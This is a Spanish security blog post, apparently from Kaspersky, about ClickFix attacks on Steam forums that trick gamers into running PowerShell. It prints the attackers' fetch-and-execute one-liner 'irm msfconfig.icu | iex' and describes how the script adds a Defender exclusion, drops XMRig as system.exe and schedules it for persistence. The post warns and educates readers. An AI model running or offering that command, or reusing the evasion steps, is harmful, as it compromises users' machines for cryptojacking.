{"id":32393,"date":"2026-08-26T11:00:53","date_gmt":"2026-08-26T09:00:53","guid":{"rendered":"https:\/\/www.kaspersky.es\/blog\/?p=32393"},"modified":"2026-09-01T10:14:18","modified_gmt":"2026-09-01T08:14:18","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.es\/blog\/steam-forum-clickfix-attack-irm-iex\/32393\/","title":{"rendered":"Malos consejos para los jugadores: ClickFix llega a los foros de Steam"},"content":{"rendered":"

Este a\u00f1o ha sido testigo de un verdadero auge de los ataques de ClickFix<\/a>. Tiene tanto \u00e9xito entre los delincuentes que apenas terminamos de escribir sobre una variaci\u00f3n, es hora de cubrir la siguiente.<\/p>\n

Esta vez, los atacantes est\u00e1n apuntando a los jugadores: los periodistas de tecnolog\u00eda detectaron publicaciones que ofrec\u00edan consejos maliciosos<\/a> en los foros de Steam. Aqu\u00ed detallamos c\u00f3mo se ven estas publicaciones, qu\u00e9 malware suelen propagar y c\u00f3mo mantener seguro tu dispositivo.<\/p>\n

ClickFix llega a los foros de Steam<\/h2>\n

Muchos jugadores recurren a sus compa\u00f1eros en los foros de Steam en busca de ayuda y consejos sobre cuestiones acerca de c\u00f3mo superar una misi\u00f3n complicada, subir de nivel, conseguir el mejor bot\u00edn o solucionar un error. Y es precisamente esta confianza en los consejos de la comunidad lo que los atacantes han decidido aprovechar.<\/p>\n

El ataque comienza cuando los delincuentes responden a la pregunta de alguien sobre fallos en el juego, objetos que faltan en el inventario u otros problemas t\u00e9cnicos. Haci\u00e9ndose pasar por usuarios dispuestos a ayudar, sugieren abrir PowerShell como administrador y ejecutar un comando que, supuestamente, soluciona el problema que tiene el usuario.<\/p>\n

\"Publicaci\u00f3n<\/a>

Haci\u00e9ndose pasar por un consejo para solucionar problemas, el autor malintencionado sugiere abrir PowerShell como administrador y ejecutar un comando que, supuestamente, resuelve el problema del usuario. Fuente.<\/a><\/p><\/div>\n

Como puedes imaginar, ejecutar el comando no soluciona nada, sino que solo abre una nueva caja de Pandora. Esa es precisamente la idea detr\u00e1s de ClickFix: utilizar la ingenier\u00eda social para enga\u00f1ar a las v\u00edctimas y que ellas mismas realicen acciones peligrosas, al tiempo que se proporciona a los estafadores lo que necesitan para comprometer el dispositivo. Ya hemos hablado anteriormente de otros trucos de ClickFix \u2014CAPTCHAs falsos, errores de navegador falsos y mucho m\u00e1s\u2014, todos ellos basados en conseguir que la v\u00edctima ejecute el comando malicioso por su cuenta. Puedes leer m\u00e1s sobre las diferentes variaciones de los ataques de ClickFix<\/a> en nuestra publicaci\u00f3n anterior.<\/p>\n

La astucia de usar ClickFix en los foros de Steam es que el ataque puede afectar no solo al jugador que ha pedido ayuda; muchos otros jugadores que tienen el mismo problema y encuentran la respuesta a trav\u00e9s de una b\u00fasqueda en Google tambi\u00e9n pueden caer en la trampa.<\/p>\n

Una introducci\u00f3n r\u00e1pida: lo que realmente hay detr\u00e1s del comando irm <\/em>| iex<\/em><\/h2>\n

Antes de entrar en detalle sobre c\u00f3mo los atacantes enga\u00f1an a los jugadores para que instalen el programa de esta forma, debemos repasar algunos conceptos t\u00e9cnicos b\u00e1sicos. En primer lugar, las publicaciones en los foros de Steam aconsejan a las posibles v\u00edctimas desprevenidas que ejecuten el siguiente comando en PowerShell:
\n irm msfconfig.icu | iex <\/code><\/p>\n

Para alguien que no est\u00e9 \u00edntimamente familiarizado con PowerShell, esta l\u00ednea puede parecer bastante inocua: se parece a la ejecuci\u00f3n de MSConfig, la utilidad de configuraci\u00f3n del sistema integrada de Windows, con algunos par\u00e1metros adicionales.<\/p>\n

Sin embargo, es todo menos inofensivo. Analicemos qu\u00e9 hace realmente cada parte de este comando:<\/p>\n

    \n
  1. irm<\/em><\/strong> es la abreviatura del comando integrado de PowerShell Invoke-RestMethod<\/em>. Se comunica con la direcci\u00f3n web especificada m\u00e1s adelante en la l\u00ednea y recupera datos en respuesta.<\/li>\n
  2. icu<\/em><\/strong> es esa direcci\u00f3n web, no el nombre de alg\u00fan archivo local como podr\u00eda parecer a primera vista. Se trata del servidor de los atacantes y responde a la solicitud de irm<\/em><\/strong> con un script de PowerShell malicioso.<\/li>\n
  3. iex<\/em><\/strong> es otro comando integrado de PowerShell, Invoke-Expression<\/em>. Toma todo lo que irm<\/em><\/strong> recibe de esa direcci\u00f3n web y lo ejecuta como c\u00f3digo de PowerShell.<\/li>\n<\/ol>\n

    Una vez ejecutada, esta l\u00ednea de c\u00f3digo de PowerShell descarga un script del sitio web especificado y lo ejecuta de inmediato. Como se\u00f1al\u00f3<\/a> acertadamente un usuario de Reddit, puedes averiguar de forma segura qu\u00e9 c\u00f3digo se descargar\u00eda realmente en tu dispositivo \u2014sin riesgo de que se ejecute\u2014 simplemente eliminando la segunda parte, iex<\/em><\/strong>. Sin ella, el comando se limitar\u00e1 a descargar el contenido del script y a mostrarlo en la ventana de PowerShell sin ejecutarlo. Este es el c\u00f3digo completo y no oculto que se te solicita que ejecutes en tu dispositivo. A continuaci\u00f3n, veamos qu\u00e9 es lo que estos serviciales usuarios del foro de Steam est\u00e1n intentando que los jugadores instalen en sus equipos.<\/p>\n

    Un criptominero, no una herramienta de optimizaci\u00f3n<\/h2>\n

    Los atacantes se lo han preparado bien: el script de PowerShell descargado desde su servidor imita de forma muy convincente una utilidad de optimizaci\u00f3n de Windows. Una vez ejecutado, muestra al usuario una serie de notificaciones en las que afirma que va a borrar los archivos temporales, vaciar la cach\u00e9 de DNS, actualizar los controladores, comprobar si hay errores en el disco, desactivar las aplicaciones de inicio innecesarias, analizar el sistema en busca de malware, reparar la imagen de Windows y verificar la integridad de los archivos del sistema.<\/p>\n

    \"Optimizaci\u00f3n<\/a>

    El script muestra un flujo de mensajes sobre diversas tareas de optimizaci\u00f3n falsas para dar la impresi\u00f3n de que est\u00e1 realizando un mantenimiento \u00fatil. Fuente <\/a><\/p><\/div>\n

    Mientras tanto, la actividad real tiene lugar entre bastidores. El script comienza comprobando si se est\u00e1 ejecutando con privilegios de administrador. Si es as\u00ed, crea una carpeta de trabajo oculta en C:\\Windows\\Background y la a\u00f1ade a la lista de exclusiones de Microsoft Defender. A partir de ese momento, el antivirus integrado de Windows deja de analizar cualquier archivo que se guarde en esa carpeta.<\/p>\n

    A continuaci\u00f3n, el script prepara el sistema para la siguiente fase del ataque y descarga un archivo ejecutable del servidor de los atacantes, guard\u00e1ndolo en esa misma carpeta C:\\Windows\\Background con el nombre, aparentemente leg\u00edtimo, de system.exe.<\/p>\n

    El archivo descargado es XMRig, una de las herramientas m\u00e1s populares para minar la criptomoneda Monero. XMRig en s\u00ed mismo no es un programa malicioso; se trata de una herramienta de miner\u00eda leg\u00edtima y de c\u00f3digo abierto. El problema es que los atacantes la instalan en los ordenadores de las v\u00edctimas sin que estas lo sepan. Una vez en funcionamiento, la potencia de c\u00e1lculo del dispositivo es secuestrada para minar Monero, y la criptomoneda resultante va directamente a manos de los delincuentes.<\/p>\n

    Esto convierte a los equipos de los jugadores en objetivos especialmente atractivos: los ordenadores modernos para videojuegos cuentan con potentes CPU y GPU, precisamente el tipo de hardware ideal para la miner\u00eda de criptomonedas.<\/p>\n

    Para asegurarse de que el malware sobreviva a un reinicio, la secuencia de comandos tambi\u00e9n crea una nueva tarea en el Programador de tareas de Windows: XMRig-{nombre del equipo}<\/em>. A partir de ese momento, inicia autom\u00e1ticamente el criptominero cada vez que se inicia el sistema.<\/p>\n

    C\u00f3mo proteger tu dispositivo de los criptomineros y otro tipo de malware<\/h2>\n

    Por desgracia, muchos jugadores se muestran reacios a instalar software de seguridad \u2014o a mantenerlo activo\u2014 en sus dispositivos. La principal causa es el mito persistente de que \u201cun antivirus ralentiza el juego\u201d. a hemos hablado de estudios al respecto en nuestro blog, y los resultados demostraron que ejecutar un antivirus mientras se juega no supone una merma significativa del rendimiento<\/a>.<\/p>\n

    Sin embargo, no se puede decir lo mismo de los criptomineros: definitivamente perjudican el rendimiento y desgastan tu hardware m\u00e1s r\u00e1pido. Entonces, \u00bfqu\u00e9 puedes hacer para mantener tus cuentas y tu PC para juegos fuera de peligro?<\/p>\n